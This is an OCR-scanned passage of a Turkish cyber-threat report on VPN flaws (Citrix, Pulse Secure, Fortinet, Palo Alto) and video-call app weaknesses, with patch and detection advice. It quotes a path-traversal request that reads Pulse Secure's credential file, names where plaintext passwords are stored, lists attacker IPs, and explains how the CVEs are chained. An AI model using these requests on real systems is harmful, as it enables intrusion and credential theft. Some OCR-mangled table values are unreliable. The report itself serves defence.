14 Citrix Gateway privilege escalation CVE-2020-10111 7.5 https://nvd.nist.gov/vuln/detail/CVE-2020-10111
15 Citrix Netscaler Gateway/Application Delivery Controller CVE-2019-12044 7.4 https://nvd.nist.gov/vuln/detail/CVE-2019-12044

memory corruption
16 Citrix Storefront Server XML Data XML External Entity CVE-2019-13608 7.4 https://nvd.nist.gov/vuln/detail/CVE-2019-13608

Tablo 8: Citrix ADC zafiyet bilgileri.
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Citrix Uzerinde bulunan “CVE-2019-19781” zafiyetinden
etkilenmemek igin kurum bulnyesinde Citrix’in en son
versiyonunun kullanildigindan emin olunmalidir.

Dunya ve Tirkiye genelinde disariya acik ve bu zafiye-
te sahip sistemler kontrol edildiginde Diinya’da toplam
4.622 sistem, Tlrkiye'de ise 23 farkli organizasyonda
toplam 61 cihaz oldugu tespit edilmistir.

Genel olarak incelendiginde diinya genelinde birgok
saldirganin kurumlara kolayca sizmak igin siklikla bu

4,622

’\ | &g:
‘.. | i

United States 1,835
China 370
United Kingdom 278
Germany 155
Canada 134
Turkey 61

Sekil 76: CVE-2019-19781 zafiyetinin diinya genelinde yayilimi.

No Zafiyet Adi CVE

Pulse Secure Pulse Connect Secure Permission File Upload
privilege escalation
Pulse Secure Pulse Connect Secure Session Hijacking weak

CVE-2019-11510 10

thimkktech
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zafiyetten yararlandigi gértlmektedir. Bu sebeple yapila-
bilecek saldirilardan korunabilmek igin en son versiyona
yukseltme islemi yapilmasi, bu yapilamiyorsa “https://
support.citrix.com/article/CTX267027” sitesinde yer
alan yamalarin uygulanmasi énerilmektedir.

Bu zamana kadar zafiyetten etkilenip etkilenilmediginin
tespit edilebilmesi i¢in kurumlarda asagidaki adimlarin
uygulanmasi énerilmektedir.

Citrix sunuculari Uzerinde zafiyetin istismar edildigine
dair bulgulari kontrol etmek icin sunucular tzerinde
bulunan “httpaccess.log” ve "httperror.log” dosyalari
kontrol edilmelidir.

Loglar arasinda zafiyetin istismar edilmesi sirasinda
sik¢a erigilmeye caligilan “newbm.pl” ve “rmbm.pl”
dosya kaynaklari icin "/vpns/” pathi iceren POST ve
GET istekleri kontrol edilmelidir.

Yine loglar arasinda “GET /vpns/portal/<zararli_
kod>" ifadesi gecen istekler kontrol edilmelidir.

Anormal isimleri olan XML dosyalarina yapilan POST
ve GET istekleri de loglar arasinda incelenmeli, yuka-
ridaki bulgulardan birinin gértilmesi halinde inceleme
detaylandirimalidir.

Geriye donik bazi log dosyalar boyutlarinin blylk ol-
masi veya politika geregi arsivlenmis olabilir, arsivienen
log dosyalarinin kontroli de unutulmamalidir.

PULSE SECURE VPN

Pulse Secure, VPN kullanicilarin herhangi bir lokasyon-
dan sirket sistemlerine ¢ok faktérli dogrulamayla gu-
venli bir sekilde baglanmasini saglamaktadir. Yapilan

CvVss
v3 Risk
Skor

Zafiyet Referans Uzantisi

https://nvd.nist.gov/vuln/detail/CVE-2019-11510

2 . CVE-2019-11540 9.8 https://nvd.nist.gov/vuln/detail/CVE-2019-11540
authentication

g  Pulse Secure Pulse Connect Secure Applet tncc.jar weak  oye 5000-11580 9.1 https://nvd.nist.gov/vuln/detail/CVE-2020-11580
authentication

4  PulseSecure Pulse Connect Secure/Pulse Policy Secure Admin e 919.11500 8.8 https://nvd.nist.gov/vuln/detail/CVE-2019-11509
Web Interface privilege escalation

5 ::;Taﬁ’:rf“re FUEE CRmneE: S2ENE MRl MR MR e s ggme | g https://nvd.nist.gov/vuln/detail/CVE-2020-11582

g  Fulse Secure Pulse Connect Secure Applet tncejar Runtime. oy 500011581 8.1 https://nvd.nist.gov/vuln/detail/CVE-2020-11581
getRuntime().exec() privilege escalation

7  Pulse Secure Pulse Connect Secure Session Token Replay | oy 5o19.41213 8.1 https://nvd.nist.gov/vuln/detail/CVE-2019-11213
weak authentication

g  Fulse Secure Pulse Connect Secure SAML Authentication oy 5o19.41541 7.5 https://nvd.nist.gov/vuln/detail/CVE-2019-11541
information disclosure

g  Pulse Secure Pulse Connect Secure Admin Web Interface oy 5o19 11508 7.2 https://nvd.nist.gov/vuln/detail/CVE-2019-11508
directory traversal

19  Pulse Secure Pulse Connect Secure Admin Web Interface oy 5o1g 11539 7.2 https://nvd.nist.gov/vuln/detail/CVE-2019-11539
command injection

19  Pulse Secure Puise Connect Secure Admin Web Interface  cye 5g19.41542 7.2 https://nvd.nist.gov/vuln/detail/CVE-2019-11542
Stack-based memory corruption

12 Pulse Secure Pulse Connect Secure NFS privilege escalation CVE-2019-11538 7.2 https://nvd.nist.gov/vuln/detail/CVE-2019-11538

Tablo 9: Pulse Secure Connect zafiyet bilgileri.
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45


https://support.citrix.com/article/CTX267027
https://support.citrix.com/article/CTX267027

thimnkktech

STM Teknolojik Diisiince Merkezi

A

arastirmalar sonucunda uzaktan erisim saglayan Pulse
Secure Connect VPN Urintnde ait 2019 ve 2020 yillari
itibariyle, risk skoru ylksek ve kritik degere sahip toplam
12 zafiyet tespit edilmistir.

Bu Urln ailesinde bulunan ve gectigimiz yil boyunca en
cok bildirilen en kritik zafiyet, Pulse Secure tarafindan
ilk olarak 24 Nisan 2019’da yayinlanan ve Pulse Secure
Connect VPN UrGnuni etkileyen “CVE-2019-11510” za-
fiyeti olmustur. ilgili zafiyet sémurildiugiinde saldirgan-
lar sistem Uzerinde bulunan sistem dosyasi gibi kritik
konfiglirasyon dosyalarina kimlik dogrulamasina ihtiyac
duymadan erisebilmektedir. Bu zafiyet ayni zamanda di-
ger zafiyetlerle birlikte kullanilarak sisteme ilk sizildiktan
sonra igeride yetkili komut calistirma veya zararli dosya
ylkleme gibi aktivitelere olanak saglamaktadir.

Ornegin, bir kullanici PulseSecure VPN uygulamasinin
admin araylziine giris yaptiginda, kullanicinin parolasi
sifrelenmemis bir sekilde “/data/runtime/mtmp/Imdb/
data/data.mdb” dizininde saklanir. Saldirgan, “CVE-
2019-11510” zafiyetinin bulundugu sistemlerde zafiyeti
sdmurerek yukaridaki dizinde yer alan kullanici parolasi-
na erigebilir. Elde ettigi kullanici bilgileriyle sisteme giris
yaptiktan sonra listede yer alan “CVE-2019-11539” zafi-
yetini kullanarak yetkili hesap haklariyla komut ¢alistirip,
sistemde zararli aktiviteler gergeklestirebilir. Alternatif
olarak yine kullanicinin parolasi ele gecirildikten sonra
listede bulunan “CVE-2019-11508" zafiyeti kullanilarak
dosya paylasim alanina zararl dosya birakilarak yine sis-
temde zararl aktiviteler gerceklestirilebilir.

Dunya ve Tirkiye genelinde “CVE-2019-11510” zafiyeti-
ne sahip sistemlere baktigimizda Diinya genelinde 1.175
sistemde zafiyetin bulundugu Tirkiye’de ise 10 sistemin
zafiyetli sirlime sahip oldugu tespit edilmistir.

1,175

E

United States 294
Japan 139
China 90
Korea, Republic of 87
Germany 60
Turkey 10

Sekil 77: CVE-2019-11510 zafiyetinin diinya genelinde dagilimi.
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Dinya genelinde bircok saldirganin ve devlet destekli
saldirgan gruplarnin kurumlara kolayca sizmak i¢in giin-
cel olarak siklikla bu zafiyetten yararlandigi gorilmustdir.

2019 yiinin Nisan ayinda yamasi cikarilan zafiyet
Agustos 2019°’da tamamen kapatiimistir. Zafiyet bulunan
ilgili Pulse Secure versiyon ve yamali versiyon bilgilerine
asagidaki tablodan ulasabilirsiniz. Zafiyetlerden etkilen-
memek i¢in her zaman Pulse Secure Connect Urinu-
ndn en son versiyonunu kullanmali, kurumda asagidaki
zafiyetli versiyonlardan birinin kullanildidi tespit edildigi
takdirde acilen versiyonun en glincel versiyona yuk-
seltiimesi, yUkseltilemiyorsa da ilgili yamanin gecilmesi
tavsiye edilmektedir. Zafiyetler ve yamalari hakkinda de-
tayl bilgiye “https://kb.pulsesecure.net/articles/Pulse_
Security_Advisories/SA44101” sitesinden erisebilirsiniz.

Zafiyetli Versiyon Yama Versiyonu

Pulse Connect Secure 9.0RX Pulse Connect Secure 9.0R3.4 & 9.0R4
Pulse Connect Secure 8.3RX Pulse Connect Secure 8.3R7.1
Pulse Connect Secure 8.2RX Pulse Connect Secure 8.2R12.1

Pulse Connect Secure 8.1RX Pulse Connect Secure 8.1R15.1

Tablo 10: Pulse Secure Connect zafiyetli versiyonlar ve yamalar.

Bu zamana kadar zafiyetten etkilenip etkilenilmediginin
tespit edilebilmesi icin kurumlarda asagidaki kontrollerin
yapilmasi énerilmektedir.

Asagida verilen ag indikatorlerinde yer alan IP adres-
lerinden veya kurumunuza bilinmeyen kaynaklardan
gelen kimlik dogrulama loglarn kontrol edilmelidir.

Ag Indikatorleri

IP Adresi IP Adresi IP Adresi
104.217.128.133 23.152.0.247 5.197.149.19
185.163.46.141 27.102.70.150 5.254.81.170
185.200.116.203 37.120.150.98 5.254.81.178
192.126.124.26 5.157.10.2 94.242.246.46

Tablo 11: Pulse Secure Connect VPN ag indikatorleri.

Eger Pulse Secure VPN Urtn0 kimligi dogrulanmamig
isteklerin loglanmasi icin konfiglre edildiyse asagi-
daki log 6érneginde gosterildigi sekilde kuruma daha
o6ncesinde yapilan saldirlar tespit edilebilmektedir.

“Info — [x.x.x.x] — System()[][] — 2020/05/02 09:15:26 —
VPN-Remote — Connection from IP x.x.x.x not authen-
ticated yet (URL=/dana-na/../dana/htmlbacc/guacamo-
le/../..1..1..1..]..]../data/runtime/mtmp/Imdb/randomVal/
data.mdb?/dana/html5acc/quacamole/)”

SIBER TEHDIT DURUM RAPORU
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No Zafiyet Adi CVE

1 Arbitrary File Read (Pre-Authentication) CVE-2018-13379
2 Improper Authorization (“Magic Backdoor”) CVE-2018-13382
3 Heap Overflow (Pre-Authentication) CVE-2018-13381

Tablo 12: Fortinet VPN zafiyet bilgileri.

Fortinet VPN

Fortinet, sirket olarak gelistirdigi bircok gtivenlik Grinu-
ndn yani sira girketlere uzaktan erigim igin VPN, guvenli
ag gecidi ve kimlik ve erisim yénetimi araclarn sunmak-
tadir. Uriin ailesinde bulunan Fortinet VPN, calisanlarin
kurum sistemlerine ve kendi istemcilerine uzaktan sif-
relenmis olarak glivenli bir sekilde baglanmasini saglar.
Yapilan arastirmalar sonucunda uzaktan erisim saglayan
Fortinet VPN servislerinde son 2 yilda risk skoru yiksek
ve kritik degere sahip 3 glivenlik acigi tespit edilmistir.

Fortinet VPN Urlind Gzerinde son iki yilda en ¢ok bildi-
rilen ve sémdrllen kritik zafiyet Fortinet tarafindan ilk
olarak 24 Mayis 2019’da yayinlanan “CVE-2018-13379”
olmustur. Dinya ve Tirkiye genelinde CVE-2018-13379
zafiyetine sahip sistemler kontrol edildiginde taramalari-
miz sonucunda zafiyete sahip sistem bulunmamugtir.

Zafiyet sistem Uzerinde kimlik dogrulamasi yapmadan
rasgele dizin gezme ve dosya okumaya olanak sagla-
maktadir, bu sebeple bircok saldirgan tarafindan hedef
aga sizmak igin ilk etap olarak kullaniimaktadir. Arastirma
sonucunda saldirganlarin genellikle zafiyet sayesinde
VPN sisteminde bulunan ve icinde kullanici adi, parola
bilgisini sifrelenmemis sekilde saklayan “ssl_websessi-
on” adl oturum dosyasini okuduklari, bu sayede kullani-
cl bilgisini elde ettikleri tespit edilmistir.

2019 yilinin Eylal ayinda ilk 6nce iki faktorlt kimlik dogru-
lamasi cikarilarak zafiyetin engellenmesi hedeflenmis ve
Kasim ayinda cikarilan yeni versiyonla zafiyet tamamen
kapatiimisgtir. Zafiyet bulunan ilgili Fortinet FortiOS ver-
siyonu ve yamal versiyon bilgilerine asagidaki tablodan

thimkktech
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CVSS v3 -

Risk Skor Zafiyet Referans Uzantisi

9.8 https://nvd.nist.gov/vuln/detail/CVE-2018-13379
7.5 https://nvd.nist.gov/vuln/detail/CVE-2018-13382
25 https://nvd.nist.gov/vuln/detail/CVE-2018-13381

ulasabilirsiniz. Zafiyetlerden etkilenmemek icin her za-
man Fortinet FortiOS ve SSL VPN Urtndnin en son
versiyonunun kullanilmasi, kurumda asagidaki zafiyetli
versiyonlardan birinin kullanildidi tespit edildigi takdirde
acilen en gtincel versiyona yukseltiimesi, yukseltilemi-
yorsa da ilgili yamanin gecilmesi tavsiye edilmektedir.

Bu zamana kadar zafiyetten etkilenip etkilenilmediginin
tespit edilebilmesi icin kurumlarda eger Fortigate cihaz-
larinin web isteklerinin loglar aliniyorsa veya éniinde
firewall gibi bir glivenlik cihazi varsa bu cihazlarin log-
larindan 6zelliklerine gore “ssl_websession” dosyasinin
indirilip indiriimedigdi kontrol edilebilir. “ssl_websession”
dosyasinin boyutu ortalama 200 KB oldugu igin bu bo-
yuttaki indirmeler gézden gecirilerek yakalanabilir.

Zafiyetli Versiyon Yama Versiyonu

FortiOS 5.4.1 to 5.4.10 FortiOS 5.4.11 ve Uizeri

Jefln B e s FortioS 5.6.9 ve izeri

FortiOS 6.0.0 to 6.0.4 FortiOS 6.2.0 ve lizeri

Tablo 13: Fortinet zafiyetli versiyonlar ve yamalar.

Palo Alto GlobalProtect

Palo Alto GlobalProtect Urtini Palo Alto tarafindan gelig-
tirilmis ag glvenligi ve VPN istemci uygulamasidir. 2020
yill Nisan ay: itibariyle yapilan arastirmalar sonucunda
Palo Alto GlobalProtect’i etkileyen, ylksek veya kritik
olarak degerlendirilen 3 adet zafiyet tespit edilmistir.

cvss
No Zafiyet Adi CVE v3 Risk Zafiyet Referans Uzantisi
Skor
1 Remote Code Execution in  GlobalProtect Portal/ o/ 5419 1579 8.1 https://nvd.nist.gov/vuln/detail/CVE-2019-1579
Gateway Interface
2 GlobalProtect Agent: Incorrect privilege assignment e 5020.19g9 7.8 https://nvd.nist.gov/vuln/detail/CVE-2020-1989
allows local privilege escalation
3 Local Privilege Escalation in GlobalProtect Agent for ' o/e 9419 17436 7.1 https:/nvd.nist.gov/vuln/detail/CVE-2019-17436

Linux and Mac OS

Tablo 14: Palo Alto GlobalProtect zafiyet bilgileri.
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Bu zafiyetler arasinda en kritik olan 17 Haziran 2019 ta-
rihinde bir guvenlik arastirmacisi tarafindan duyurulan
ve “format string” zafiyeti olarak da adlandirilan “CVE-
2019-1579"dir. Zafiyet, PAN SSL Gateway servisi lze-
rinde yapilan istemci/sunucu SSL el sikismalar sirasinda
cihazin belirli bir parametrede tutulan degisken degerini
kontrol etmeden ve ayiklamadan “’snprintf” fonksiyonu-
na géndermesiyle ortaya ¢cikmaktadir. Saldirgan uzaktan
herhangi bir kimlik dogrulama islemi gerceklestirme-
den, ilgili parametrede tutulan degeri maniple edecek
sekilde 6zel olarak hazirladigi http istegini, zafiyetli SSL
VPN sistemine géndererek uzaktan kod caligtirma iglemi
yuritebilmektedir.

Dinya ve Turkiye genelinde arastinldiginda ilgili zafi-
yete sahip disariya acgik sistem tespit edilememistir.
Zafiyete sahip olan Palo Alto GlobalProtect versiyonla-
r asagida verilmistir. Kurumlarda daima GlobalProtect
arindndn en son versiyonunun kullaniimasi dnerilmek-
tedir. Kurumunuzda zafiyetli versiyonlarin kullanildigi
tespit edildigi takdirde ilgili yamanin acilen gecilmesi
Onerilmektedir.

Etkilenen Versiyonlar Yama Versiyonu

PAN-OS 7.1.18 and earlier PAN-OS 7.1.19 and later

PAN-OS 8.0.11 and earlier PAN-OS 8.0.12 and later

PAN-OS 8.1.2 and earlier PAN-OS 8.1.3 and later

Tablo 15: Palo Alto GlobalProtect zafiyetli versiyonlar ve yamalar.

igili  yama versiyonlarina “https://security.paloalto-
networks.com/CVE-2019-1579” sitesinden ulasip siste-
minizi en son versiyona yUkseltebilirsiniz.

Sonuc¢

Yazi boyunca evden caligirken en ¢ok kullanilan uzak-
tan erisim teknolojileri ve bu teknolojilerde bulunan kritik
zafiyetlerle, bu zafiyetlerin diinya ve Turkiye genelinde
naslil bir dagiim gésterdiginden bahsedilmistir. Ozellikle
APT (Advanced Persistent Threat) olarak bilinen gelis-
mis saldiri gruplarinin yazida bahsedilen zafiyetleri, diger
zafiyetlerle birlestirerek sistemlerde yayildiklar ve he-
def aldiklar organizasyonlardan kritik veri ¢calmak, fidye
yazilimi dagitmak gibi zararl aktivitelerde bulunduklar
gdzlemlenmektedir. ilgili zafiyetlerden etkilenmemek icin
daima kullanilan teknolojinin en son versiyonunun kulla-
nilimasi, ek olarak yazi sirasinda belirtilen énlemlerin alin-
masi &nerilmektedir. Ayrica uzaktan calisma sirasinda
hem kurum olarak hem de bireysel olarak alinmasi ge-
reken onlemler USOM tarafindan da TR-20-159 (Glivenli
“Uzaktan Calisma” Kurallar) bildirisiyle yayinlanmistir.
Bu bildiride yer alan &neriler yerine getirilerek kuruma ait
atak ylzeyi minimum seviyeye indirilmelidir.
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23. Goruntiili Konusma Uygulamalarindaki
Zafiyetler ve Dikkat Edilmesi Gereken Hususlar

Pandemi siresince uzaktan ¢alismanin baglamasi go-
rintlld  konusma uygulamalarina ihtiyact artirmigstir.
Kurumsal toplantilarin, derslerin bu platformlara tasin-
masi siber tehdit aktérlerinin de dikkatlerini bu uygula-
malara gekmeye baslamistir. Ucretsiz gériintiilii konus-
ma uygulamalarinin pandemi dncesine kiyasla kullani-
minda ve Uyeliginde artis gozlenmistir.

Kullanicilarin verilerini korumalar i¢in bu uygulamala-
rn dikkatli kullanmalari gerekmektedir. Salgin esnasin-
da sikca kullaniimaya baslanan birgok uygulamada ce-
sitli zafiyetler bildirilmigtir.

Bilinen Zafiyetler & Acikliklar

Pandemi siresince uygulamalara ait birgok zafiyet bil-
dirilmistir. Bunlardan birgcogu goérismelerin glvenligini
dogrudan ilgilendiren agiklardir.

Zoom uygulamasi Uzerinde “Zoombombing” olarak
adlandirilan ve yetkisiz kisilerin toplantilara dahil olma-
sini belirten aciklik, toplanti odalarinin parolasi olmadi-
g1 takdirde yasanabilmektedir. Parola korumasi olma-
didi icin saldirganlar toplanti davet linklerini ve ID’lerini
kesfederek toplantiya dahil olabilir, ekran paylasarak
uygunsuz icerikler yayinlayabilir ve toplantida dile ge-
tirilen sirketlerin dzel bilgilerini ele gegirebilir.

IOS Uzerinde Zoom kullananlarin kisisel verilerinin de
Facebook’a izinsiz olarak aktarildigi tespit edilmigstir.
Bu olay ortaya ciktiktan sonra veri iletiminin gincel-
lenen versiyonlarda kapatildigi belirtilmigtir.

Zoom Uzerinde sifreleme, kullanicilarin parolalarini
ele gecirme, toplantiya katilan kisilerin toplantiyi du-
zenleyen kisilerden habersiz yetkisiz islem yapmasi,
macOS isletim sistemi (zerinde ¢alisan Zoom uygu-
lamasinin kullanici kameralarina yetkisiz olarak farkl
web uygulamalari tarafindan calistirimasina izin ver-
mesi gibi birgok zafiyet bildirilmis ve bunlara yama
yayinlamasi yapilmis ve yapilmaya devam etmektedir.

Microsoft’'un uygulamasi olan Teams Uzerinde de
saldirganlarin kullanici hesaplarini ele gecirebildigi bir
zafiyet tespit edilmistir. Microsoft’un hizli yama geg-
mesiyle bu glvenlik acigi kapatiimistir.

Microsoft, Skype for Business uygulamasinin hizme-
tini de 2021 ortalari itibariyle sonlandirilacagini ve ye-
rini Teams’e birakacagini aciklamigtir. Glvenlik agik-
liklarini kapatabilmek icin yama ydnetiminin sireklilik
arz etmesi ve yama destegi olamayan uygulamalarin
kullaniimamasi gerekmektedir.

Cisco WebEx uygulamasinda da saldirganlarin hedef
sistemde zararli kod calistirabilecegdi kritik seviyede
iki adet zafiyet kesfedilmistir. Gerekli yama Cisco ta-
rafindan yayinlanmistir.
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gﬁrﬁntﬁlﬁ Konusma Uygulamalarinda Alinabilecek
Onlemler

Gorintlli konusma uygulamalarinda kurumsal gizlilik
iceren bilgilerin dile getirilmemesi dnem tasimaktadir.
Yerli gbériintllt konusma uygulamalarinin sayisinin art-
masilyla birlikte Ureticilerin alacagi bircok givenlik 6nle-
mi bulunmaktadir. Goriintiili konusma uygulamalarinda,
genel olarak su an kullanilan davet linklerinin tahmin
edilemez olacak sekilde uzun olmasi, parolasiz toplan-
tinin yapilamamasi, toplantiya giren kisilerin gutivenilir ve
yetkili kisi olduklarini belirleyecek yapinin tasarlanmasi
gerekmektedir.

ingiltere’de Zoom (izerinden yapilan kabine toplantisin-
da Bagbakan Boris Johnson’in Twitter Uzerinden pay-
lastigi Zoom toplantisi resminde, toplantinin ID’si de g6-
ztikmektedir. Toplanti parola korumali olmasaydi yetkisiz
bircok kisi bu toplantiya dahil olabilecekti. Bu haber de
uluslararasi medyada genis yer bulmustur.

Sekil 78: ingiltere Kabine Toplantisi.

Kullanicilarin da uygulamalar kullanirken guvenlik 6n-
lemlerini almasi gerekmektedir. Ornegin, Zoom Uzerin-
de kisi toplanti odasi olusturdugunda gdériismeye parola
konmasi, toplantiya katilan kisilerin, ilgili 6zellik kullanilip
onaylanarak toplantiya kabul edilmesi gerekmektedir.

Toplanti detaylarinin sosyal medya Uzerinde paylasiima-
masina dikkat edilmelidir. Kullanicilar ve kurumlar her
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sistemde ve uygulamada oldugu gibi bu uygulamalar
icin de gincellemeleri takip etmeli ve ¢iktigi zaman ge-
rekli yamalari uygulamaldir.

2020’de Zoom’un alan adina benzer sekilde iki binden
fazla alan adi kaydedilmistir®®. Bu alan adlar sosyal mu-
hendislik saldirilarinda kullanilabilir; kullanicilar Zoom
uygulamasini ziyaret ettiklerini disiinerek saldirganlarin
kurbani olabilir. Bu nedenle toplanti linklerine tiklarken
ve Zoom uygulamasini ziyaret ederken de kullanicilarin
dikkat etmesi gerekmektedir. Ayrica kurumlarin sosyal
muhendislik saldirilarina karsi acik kaynak sertifika log-
larindan sahte alan adlarini tespit edebilecekleri yéntem-
ler STM Siber Tehdit Durum Raporu Ekim-Aralik 2019
dénem raporunda “SIBER TEHDIT VE APT TTP’LERI”
baglikl yazida belirtilmigtir.

Talep ve Giivenilirlik

Mali agidan da artan talebi ve geliri gérmek mimkuindur.
Zoom, 2019 mali yilinin ilk ceyreginde 122 milyon dolar
olan gelirini 2020’nin ayni déneminde 206 milyon dolar
artirarak 328 milyon dolara cikartmistir. Sirketin 2019
Subat-Nisan arasi dénemde 198 bin dolar olan kari, bu
sene 136 katina ¢ikarak tam 27 milyon dolar olmustur.
Zoom’un bu mali yildaki toplam gelir beklentisi ise 1,8
milyar dolardir. Zoom’un ve diger Ureticilerin blyime-
sinin kisa sureli olmasi beklenmedigi gibi trendin daha
da artmasi beklenmektedir. Temmuz ayinda sona erecek
ikinci mali ¢ceyrekte, gelirin 500 milyon dolara ulasacagi
tahmin edilmektedir. Sirketin mali yiin sonundaki gelir
beklentisi ise 1,8 milyar dolardir. Bu, 662,7 milyon do-
lar olarak gergeklesen 2019 gelirinin yaklasik U¢ katina
denk gelmektedir.

Her ne kadar goérintlli konusma uygulamalarina su si-
recte asir bir ihtiyac duyulmakta ve kullanim yayinlasmis
olsa da kurumlarin ve kisilerin ilerleyen zamanda glve-
nilir olan uygulamalara ydnelecegini belirtmek kesinlik-
le dogru olacaktir. Her Urlinde ve sistemde oldugu gibi
gorintill konusma uygulamalar da glvenlik testlerini
duzenli olarak yaptirmall ve kullanicilarina uygulamanin
guvenlik 6zelliklerini bildirmelidir.
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